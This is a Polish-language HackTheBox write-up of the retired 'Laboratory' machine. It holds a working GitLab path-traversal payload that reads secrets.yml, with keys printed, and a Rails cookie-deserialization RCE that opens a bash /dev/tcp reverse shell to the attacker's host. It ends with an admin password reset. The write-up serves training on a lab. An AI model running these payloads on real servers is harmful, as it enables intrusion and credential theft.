Writeup: Maszyna HackTheBox Laboratory

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Laboratory - spełnia ten warunek.

Machine Info

1. TLDR

Laboratory graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.216

3. Skanowanie i rozpoznanie

Na początku użyłem narzędzia nmap do identyfikacji otwartych portów:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 15:25 CET
Nmap scan report for 10.10.10.216
Host is up (0.043s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds

Skanowanie narzędziem nmap ujawniło uruchomioną usługę http na portach 80 oraz 443 oraz ssh.

Dodałem również od razu wpis do /etc/hosts:

10.10.10.216    laboratory.htb

Usługa na porcie 80 przekierowywała przeglądarkę na port 443. Spróbowałem użyć przeglądarki i przetestować serwer HTTP. Na maszynie była hostowana strona przedsiębiorstwa działającego w branży fitness:

Laboratory Mainpage

Szybki przegląd źródła strony w celu ujawnienia pozostawionych przydatnych komentarzy był bezskuteczny. Uruchomiłem więc narzędzie gobuster:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $gobuster dir -u https://laboratory.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://laboratory.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/02 15:51:19 Starting gobuster
===============================================================
Error: error on running goubster: unable to connect to https://laboratory.htb/: invalid certificate: x509: certificate is valid for git.laboratory.htb, not laboratory.htb

Wystąpił błąd spowodowany niepoprawnym certyfikatem, który był ważny dla git.laboratory.htb. Poprawiłem więc wpis w /etc/hosts:

10.10.10.216    laboratory.htb git.laboratory.htb

Następnie odwiedziłem stronę https://git.laboratory.htb

Laboratory git

Na serwerze istniała zatem instancja Gitlaba. Zarejestrowałem więc konto:

Laboratory git registered

Łudziłem się, że znajdę repozytorium projektu strony laboratorium. Niestety, nic z tych rzeczy, na portalu nie było ani jednego projektu.

Disclaimer: W późniejszym etapie okazało się, że po prostu nie zauważyłem projektu laboratorium, jednak nie miało to żadnego wpływu na rozwiązanie.

Sprawdziłem zatem wersję Gitlaba:

Laboratory Gitlab Version

4. Uzyskanie dostępu

Przeszukałem bazę exploit-db w celu identyfikacji możliwych podatności w GitLabie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $searchsploit gitlab | grep 12
GitLab 12.9.0 - Arbitrary File Read           | ruby/webapps/48431.txt

W zbliżonej wersji istniała podatność Arbitary File Read, którą postanowiłem spróbować wykorzystać.

Exploit okazał się być kodem Pythona. Niestety, miałem problem z jego wykorzystaniem ze względu na niepoprawną obsługę uwierzytelniania. Postanowiłem zatem przeanalizować kod exploita i wykorzystać podatność ręcznie.

W skrócie: wykorzystanie podatności polega na przeniesieniu pomiędzy projektami ‘issue’, której opis zawiera ciąg odwołujący sie do pliku. Przykładem takiego opisu jest:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

Zachowując nazwy użyte w eksploicie założyłem dwa projekty: project_01 oraz project_02.

Laboratory Gitlab Projects

Następnie w project_01 utworzyłem ‘issue’:

Laboratory Gitlab Project01 issue

Zapisałem ją, otworzyłem i przeniosłem do projektu project_02:

Laboratory Gitlab Project01 issue move

Po przeniesieniu, w opisie issue pojawił się link do pobrania pliku /etc/passwd:

Laboratory Gitlab Project02 issue moved

Pobrałem zatem plik i podejrzałem jego zawartość:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $cat passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

W ten sposób ujawniłem ścieżkę do katalogu instalacyjnego Gitlaba na serwerze:

/var/opt/gitlab

Następnie przejrzałem dokumentację GitLaba dotyczącą konfiguracji. Tam znalazłem interesującą mnie stronę z informacjami odnoszącymi się do przechowywanych sekretów i kluczy.

Pobrałem plik z chronionymi danymi ponawiając kroki prowadzące do wykorzystania podatności i odwołując się do ścieżki /var/opt/gitlab/gitlab-rails/etc/secrets.yml. W treści opisu nowego issue podałem:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../
../../../var/opt/gitlab/gitlab-rails/etc/secrets.yml)

Zawartość pobranego pliku secrets.yml:

production:
  db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY----

Mając teoretycznie potężne narzędzie w ręce, przeszukiwałem dalej dokumentację GitLaba w celu znalezienia możliwości wykorzystania ukrywanych parametrów. Wreszcie znalazłem w sieci, na stronie projektu hackerone zgłoszenie tego błędu… W wątku znajdował się również wpis opisujący możliwe wykorzystanie błędu jako RCE.

Dodałem wpis do /etc/hosts:

127.0.0.1 gitlab.whitehatlab.com

Pobrałem docker image i uruchomiłem go:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker pull gitlab/gitlab-ce:12.8.1-ce.0
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $export GITLAB_HOME=/srv/gitlab
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker run --detach \
--hostname gitlab.whitehatlab.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:12.8.1-ce.0

Następnie wszedłem na uruchomiony kontener:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker container ls
CONTAINER ID        IMAGE                          COMMAND             CREATED             STATUS                   PORTS                                              NAMES
1ed4b0925fc6        gitlab/gitlab-ce:12.8.1-ce.0   "/assets/wrapper"   4 minutes ago       Up 4 minutes (healthy)   0.0.0.0:80->80/tcp, 22/tcp, 0.0.0.0:443->443/tcp   gitlab
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $sudo docker exec -it 1ed4b0925fc6 /bin/bash

W domyślnym pliku secrets.yml znalazłem wskazówkę jak prawidłowo zmienić jego zwartość:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# head -n 3 secrets.yml 
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.

Zatem w pierwszej pliku /etc/gitlab/gitlab.rb dopisałem secret_key_base:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# head -n 1 /etc/gitlab/gitlab.rb 
gitlab_rails['secret_key_base'] = '3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3'

a następnie zgodnie z instrukcją uruchomiłem polecenie

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# gitlab-ctl reconfigure

Po zakończeniu rekonfiguracji można było zaobserwować zmienioną wersję secret_key_base:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# grep secret_key_base secrets.yml 
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

Uruchomiłem rails console:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# gitlab-rails console
--------------------------------------------------------------------------------
 Ruby:         ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]
 GitLab:       13.6.1 (1b6a590b197) FOSS
 GitLab Shell: 13.13.0
 PostgreSQL:   11.9
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.3.3)
irb(main):001:0> 

Następnie wykonałem skrypt, który prowadzi do zapisania polecenia setsid bash -i >& /dev/tcp/10.10.14.31/4444 0>&1 zakodowanego w base64 do pliku /dev/shm/74wny0wl.sh:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo 'setsid bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' > /dev/shm/74wny0wl.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

W trakcie wykonania skryptu pojawił się błąd:

sh: 1: Syntax error: Bad fd number

Naprawiłem go przez wykonanie instrukcji:

root@gitlab:/var/opt/gitlab/gitlab-rails/etc# mv /bin/sh /bin/sh.orig
root@gitlab:/var/opt/gitlab/gitlab-rails/etc# ln -s /bin/bash /bin/sh

Po ponownym wykonaniu skryptu zostało wypisane ciastko:

irb(main):007:0> puts cookies[:cookie]
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA+IC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--e7741536e8a462197facb2766e5e887ebc5fbe22

W celu uniknięcia błędów parsowania ciasteczka, zakodowałem wartość korzystając z narzędzia CyberChef (URL Encode). W wyniku zakodowania otrzymałem ciąg:

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA%2BIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2De7741536e8a462197facb2766e5e887ebc5fbe22

Następnie przesłałem żądanie, które zapisało plik /dev/shm/74wny0wl.sh:

curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnc2V0c2lkIGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzEvNDQ0NCAwPiYxJyA%2BIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2De7741536e8a462197facb2766e5e887ebc5fbe22"

Następnie przygotowałem skrypt, które wyprodukuje ciastko uruchamiające przesłany plik:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash /dev/shm/74wny0wl.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Wyprodukowane ciastko to:

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--08db0e7791087f8ede41d1558efbb024e0d93d9b

a po zakodowaniu w CyberChef (URL Encode):

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2D08db0e7791087f8ede41d1558efbb024e0d93d9b

Uruchomiłem więc narzędzie netcat:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

i przesłałem żądanie:

curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC9kZXYvc2htLzc0d255MHdsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA%3D%3D%2D%2D08db0e7791087f8ede41d1558efbb024e0d93d9b"

W ten sposób nawiązana została sesja:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.216] 60894
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
git@git:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@git:~/gitlab-rails/working$ 

Disclaimer: Podzieliłem proces eksploitacji podatności na dwie części, ponieważ miałem problem z wykonaniem poprawnego połączenia z użyciem jednego ciastka. Zapisanie pliku na serwerze, pozwoliło mi na diagnostykę procesu z wykorzystaniem podatności Arbitrary File Read.

5. Eskalacja uprawnień: git ⇨ dexter

Wykonałem upgrade shella:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

Pobrałem na serwer narzędzie linpeas.sh:

git@git:/dev/shm$ wget http://10.10.14.31:8000/linpeas.sh

i uruchomiłem je:

git@git:/dev/shm$ bash linpeas.sh

Na standardowym wyjściu pojawiła się informacja o tym, że jestem w kontenerze Dockera:

[+] Is this a container? ........... Looks like we're in a Docker container

oraz informacja o niestandardowym katalogu /assets, w którym nie znalazłem interesujących artefaktów. Co ciekawe, nie było również żadnego podkatalogu w katalogu /home.

[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root git 988 Jul  2 18:01 /var/opt/gitlab/gitlab-shell/config.yml
-rw-r----- 1 root git 525 Jul  2 18:01 /var/opt/gitlab/gitlab-rails/etc/database.yml
-rw-r----- 1 root git 22583 Jul  2 18:01 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
-rw-r----- 1 root git 781 Jul  2 18:01 /var/opt/gitlab/gitaly/config.toml
-rw-r----- 1 root git 70 Jul  2 18:02 /var/opt/gitlab/gitlab-workhorse/config.toml

Przeglądając dokumentację GitLaba znalazłem informacje o sposobach tuta oraz tutaj:

Uruchomiłem zatem rails console:

git@git:/assets$ gitlab-rails console
--------------------------------------------------------------------------------
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
--------------------------------------------------------------------------------

i odpytałem o administratorów GitLaba:

irb(main):014:0> User.where(admin: true)
User.where(admin: true)
=> #<ActiveRecord::Relation [#<User id:1 @dexter>]>

Zatem administratorem GitLaba był użytkownik dexter. Metodę zresetowania hasła administratora znalazłem tutaj. Wykonałem zatem polecenia:

user = User.find_by_username('dexter')
=> #<User id:1 @dexter>
irb(main):021:0> user.password = 'secret_pass'
user.password = 'secret_pass'
=> "secret_pass"
irb(main):022:0> user.password_confirmation = 'secret_pass'
user.password_confirmation = 'secret_pass'
=> "secret_pass"
irb(main):023:0> user.save!
user.save!
